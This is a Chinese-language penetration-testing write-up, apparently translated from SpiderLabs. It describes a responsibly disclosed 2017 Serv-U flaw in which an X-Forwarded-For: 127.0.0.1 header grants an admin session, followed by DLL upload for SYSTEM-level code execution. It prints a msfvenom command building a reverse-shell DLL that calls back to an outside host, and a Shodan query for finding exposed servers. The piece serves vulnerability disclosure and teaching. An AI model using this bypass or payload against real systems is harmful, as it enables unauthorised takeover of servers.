看我如何在渗透测试过程中发现并利用Serv-U漏洞进行操作系统提权

最近,我在做一个外网渗透测试的过程中,发现了SolarWinds文件共享程序Serv-U的一个漏洞,通过该漏洞我获得了Serv-U的管理权限,并能以系统用户身份执行远程代码,成功完成操作系统提权。

在此,我在Win7虚拟机中安装Serv-U程序,对该漏洞作出验证。

前期发现

Serv-U安装之后,不需要进行任何配置,其默认的Web服务端口为127.0.0.1,由于是本地服务器地址,即使提供外部服务也不需要更改此IP。

基于这个Web服务端,我利用Burp Suite的Spider功能来发现了其/?Command=Login请求点可能存在问题,之后,继续利用Burp Suite的Scanner功能,用包含X-Forwarded-For头的POST请求对该点发起fuzz攻击,来观察其响应结果。没过一会,通过对这些响应信息的手工验证后发现,当提交的登录请求中包含了X-Forwarded-For头为127.0.0.1的POST请求信息时,Serv-U程序将以本地管理员身份响应一个有效的Session会话。

虽然该POST请求通过Firefox浏览器会产生一个如下的错误提示:

但其本地管理员身份的Session会话却是有效的,利用该Cookie构造GET请求:

可以顺利以管理员身份登录Serv-U管理后台:

进一步利用

经过一番研究发现,攻击者可以利用http://127.0.0.1:43958/Admin/ServerLimits.htm页面下的集成库文件导入功能(intergration library),上传并执行任意DLL文件:

这里,我用msfvenom来制作免杀的恶意DLL文件MFC100PWN.dll,如下:

root@6c656f:~# msfvenom -p windows/x64/powershell_reverse_tcp LHOST=192.168.1.101 LPORT=8443 -f dll > MFC100PWN.dllNo platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 1810 bytes Final size of dll file: 5120 bytes root@6c656f:~# file MFC100PWN.dllMFC100PWN.dll: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

该DLL文件将会向192.168.1.101:8443执行反弹连接,所以,这里用Metasploit开启一个监听端listener。

操作系统提权

把MFC100PWN.dll文件通过Serv-u web client上传至 目录”C:\Program Files\RhinoSoft\Serv-U”:

执行该DLL文件:

不出意外,通过该DLL文件的反弹shell,我们获得了Serv-u所在系统的管理员权限。

漏洞影响

至2017年1月30日,通过Shodan查询,可以发现全球联网的,安装有类似Serv-U服务的15,000多台服务器都面临此漏洞威胁,而据我们研究发现,Serv-U在15.1.5之前的所有版本都受此漏洞影响。(具体漏洞信息参考此声明)

Server: Serv-U/ product:"Rhinosoft Serv-U httpd"

漏洞报告进程

01/13/2017 – 向SolarWind披露漏洞

02/17/2017 – SolarWind发布补丁

03/22/2017 – 公开漏洞

*参考来源:SpiderLabs,freebuf小编clouds编译,转载请注明来自Freebuf.com。